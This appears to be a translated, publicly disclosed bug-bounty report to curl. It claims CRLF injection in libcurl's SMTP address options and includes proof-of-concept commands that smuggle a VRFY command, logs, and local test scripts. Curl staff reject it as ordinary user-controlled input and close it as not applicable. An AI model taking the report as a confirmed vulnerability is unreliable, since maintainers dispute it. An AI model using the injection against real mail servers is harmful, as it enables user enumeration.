CRLF注入漏洞报告 #3235428
摘要
libcurl的SMTP客户端通过--mail-from
和--mail-rcpt
参数存在CRLF注入漏洞。攻击者可以注入换行符来走私SMTP命令(如VRFY),可能实现用户枚举或协议滥用。虽然curl在注入后可能失败,但注入的命令已被SMTP服务器执行,确认了漏洞存在。
AI声明
是的,我使用了AI来发现此漏洞。
受影响版本
在Ubuntu 24.04.2上测试了以下版本:
- curl 8.5.0(系统)
- curl 8.15.0-DEV(本地构建)
- PycURL/7.45.6 with libcurl/8.12.1-DEV
完整系统curl版本:
1
2
3
4
5
|
$ curl -V
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
|
完整本地构建版本:
1
2
3
4
5
|
$ curl -V
curl 8.15.0-DEV (Linux) libcurl/8.15.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 libssh2/1.11.0 nghttp2/1.59.0 OpenLDAP/2.6.7
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd
|
复现步骤
-
运行测试SMTP服务器;我使用的名为smtp_server,以./smtp_server
运行并在localhost:1025监听
-
使用正常邮箱地址发送邮件,例如:
1
|
curl -vf --url "smtp://localhost:1025/" --mail-from "attacker@example.com" --mail-rcpt "recipient@example.com" --upload-file mail.txt
|
其中mail.txt是文本文件——curl正常完成
- 现在在"from"字段中注入CRLF发送邮件,例如:
1
|
curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf 'user@example.com\r\nVRFY d@example.com\r\n')" --mail-rcpt "recipient@example.com" --upload-file mail.txt
|
curl失败并显示DATA failed: 250
,因为服务器对注入的VRFY命令返回了250 OK而不是预期的354;这表明发生了CRLF注入
我认为问题出现在smtp.c中的smtp_perform_mail函数中的"MAIL FROM:%s%s%s%s%s%s"
连接邮件字段时未进行清理(且smtp_parse_address也未清理"\r\n"
)。
支持材料/参考
正常邮件发送:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
$ curl -vf --url "smtp://localhost:1025/" --mail-from "attacker@example.com" --mail-rcpt "recipient@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<attacker@example.com> SIZE=4
< 250 OK
> RCPT TO:<recipient@example.com>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
} [4 bytes data]
* We are completely uploaded and fine
< 250 Message accepted for delivery
* Connection #0 to host localhost left intact
|
在"from"字段中注入CRLF发送:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
$ cat mail.txt
Huh?
$ curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf 'user@example.com\r\nVRFY d@example.com\r\n')" --mail-rcpt "recipient@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<user@example.com
> VRFY d@example.com
> SIZE=4
< 250 OK
> RCPT TO:<recipient@example.com>
< 250 OK: John X Doe <d@example.com>
> DATA
< 250 OK
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250
|
在"rcpt"字段中注入CRLF发送:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
$ curl -vf --url "smtp://localhost:1025/" --mail-rcpt "$(printf 'rcpt@example.com\r\nVRFY d@example.com\r\n')" --mail-from "from@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<from@example.com> SIZE=4
< 250 OK
> RCPT TO:<rcpt@example.com
> VRFY d@example.com
>
< 250 OK
> DATA
< 250 OK: John X Doe <d@example.com>
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250
error: Recipe `test-bad-rcpt` failed on line 13 with exit code 55
|
使用pycURL注入CRLF:
1
2
3
4
|
$ ./send-with-pycurl
2025-07-03 15:08:38.173 | INFO | __main__:<module>:37 - pycurl version: PycURL/7.45.6 libcurl/8.12.1-DEV OpenSSL/3.4.1 zlib/1.3 brotli/1.1.0 libssh2/1.11.1_DEV nghttp2/1.64.0
2025-07-03 15:08:38.173 | INFO | __main__:send:22 - sending email from 'user@example.com\r\nVRFY d@example.com' to 'recipient@example.com'
2025-07-03 15:08:38.176 | ERROR | __main__:send:32 - exception: (55, 'DATA failed: 250')
|
服务器日志(用于说明):
1
2
3
4
5
6
7
8
9
|
$ ./smtp_server
SMTP server running at localhost:1025 (Ctrl+C to stop)
2025-07-03 15:08:23.449 | INFO | __main__:handle_DATA:24 - Message received -- from: attacker@example.com, to: ['recipient@example.com']
2025-07-03 15:08:23.449 | INFO | __main__:handle_DATA:25 - Data:>>>Huh?
<<<
2025-07-03 15:08:31.116 | INFO | __main__:handle_VRFY:29 - Message received -- from: user@example.com, to: []
2025-07-03 15:08:31.116 | INFO | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <d@example.com>'
2025-07-03 15:08:38.176 | INFO | __main__:handle_VRFY:29 - Message received -- from: user@example.com, to: []
2025-07-03 15:08:38.176 | INFO | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <d@example.com>'
|
smtp_server脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
# "loguru",
# "aiosmtpd",
# ]
# ///
from aiosmtpd.controller import Controller
from aiosmtpd.smtp import SMTP
from loguru import logger
class MessageHandler:
async def handle_DATA(self, server, session, envelope):
logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
logger.info("Data:>>>{}<<<", envelope.content.decode("utf8", errors="replace"))
return "250 Message accepted for delivery"
async def handle_VRFY(self, server, session, envelope, address, *args, **kwargs):
logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
USERS = {
"d@example.com": "John X Doe",
}
if full_name := USERS.get(address.lower()):
response = f"250 OK: {full_name} <{address}>"
else:
response = f"550 No such user {address}"
logger.info("Sending back {!r}", response)
return response
class MyController(Controller):
def factory(self):
"""Subclasses can override this to customize the handler/server creation."""
kwargs = {**self.SMTP_kwargs, "hostname": "test-smtpd"}
return SMTP(self.handler, **kwargs)
if __name__ == "__main__":
handler = MessageHandler()
controller = MyController(handler, hostname="127.0.0.1", port=1025)
controller.start()
print("SMTP server running at localhost:1025 (Ctrl+C to stop)")
import time
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
controller.stop()
|
send-with-pycurl脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
# "loguru",
# "pycurl",
# ]
# ///
import io
import pycurl
from loguru import logger
def send(sender, recipient):
msg = f"""\
From: {sender}
To: {recipient}
Subject: Hello from pycurl
This is the email body.
"""
logger.info("sending email from {!r} to {!r}", sender, recipient)
c = pycurl.Curl()
c.setopt(pycurl.URL, "smtp://localhost:1025")
c.setopt(pycurl.MAIL_FROM, sender)
c.setopt(pycurl.MAIL_RCPT, [recipient])
c.setopt(pycurl.UPLOAD, 1)
c.setopt(pycurl.READDATA, io.BytesIO(msg.encode()))
try:
c.perform()
except Exception as exc:
logger.error("exception: {}", exc)
c.close()
if __name__ == "__main__":
logger.info("pycurl version: {}", pycurl.version)
send("user@example.com\r\nVRFY d@example.com", "recipient@example.com")
|
影响
摘要:
此漏洞允许攻击者通过构造恶意邮箱地址注入任意SMTP命令(如VRFY)。可能导致用户枚举、绕过客户端限制或中断SMTP会话,特别是在自动化或基于代理的电子邮件工作流程中。
时间线
skrcprst 提交报告给curl - 2025年7月3日 5:49am UTC
bagder (curl staff) 发表评论 - 2025年7月3日 6:27am UTC
感谢您的报告!
我们将花时间调查您的报告,并尽快回复您详细信息和可能的后续问题!很可能在接下来的24小时内。
icing (curl staff) 发表评论 - 2025年7月3日 6:31am UTC
您是否知道AI发现的漏洞到目前为止成功率为0%?而且我们有相当好的样本量…
bagder (curl staff) 发表评论 - 2025年7月3日 6:33am UTC
我不认为curl或libcurl声称这些选项是万无一失的。我不认为curl有责任过滤掉用户可能提供的所有可能的垃圾。事实上,发送额外的垃圾通常被curl用户用来验证服务器等。
这不是一个合法的"漏洞",因为攻击者不会随机拥有访问权限和在curl命令行中插入内容的能力。如果攻击者可以修改命令行,实际上所有赌注都无效,无尽的恶意能力都会打开。
因此,这种"攻击"只能由用户自己完成。那么这就不是攻击。这是普通用法。
skrcprst 发表评论 - 2025年7月3日 6:48am UTC
根据评论,我同意关闭此报告。感谢您的时间。
jimfuller2024 (curl staff) 发表评论 - 2025年7月3日 6:52am UTC
此报告中有一些有缺陷的假设:
- 有权使用curl的用户可以使用它…如果您希望客户端向服务器发送垃圾,您可以这样做…您也可以下载恶意软件或泄露秘密。用户负责。期望设置"防护栏"以避免"footguns"是错误的期望。
- 客户端安全与服务器安全不同
也许我遗漏了什么,作者可以提供更多细节,但我没有看到任何安全问题。
skrcprst 关闭报告并将状态更改为"不适用" - 15天前
bagder (curl staff) 请求披露此报告 - 15天前
根据项目的透明度政策,我们希望所有报告都被披露并公开。
skrcprst 同意披露此报告 - 14天前
此报告已于14天前披露。
报告详情
- 报告时间: 2025年7月3日 5:49am UTC
- 报告人: skrcprst
- 报告对象: curl
- 报告ID: #3235428
- 严重性: 中等 (4 ~ 6.9)
- 披露时间: 2025年7月3日 10:57pm UTC
- 弱点: CRLF注入
- CVE ID: 无
- 赏金: 隐藏
- 账户详情: 无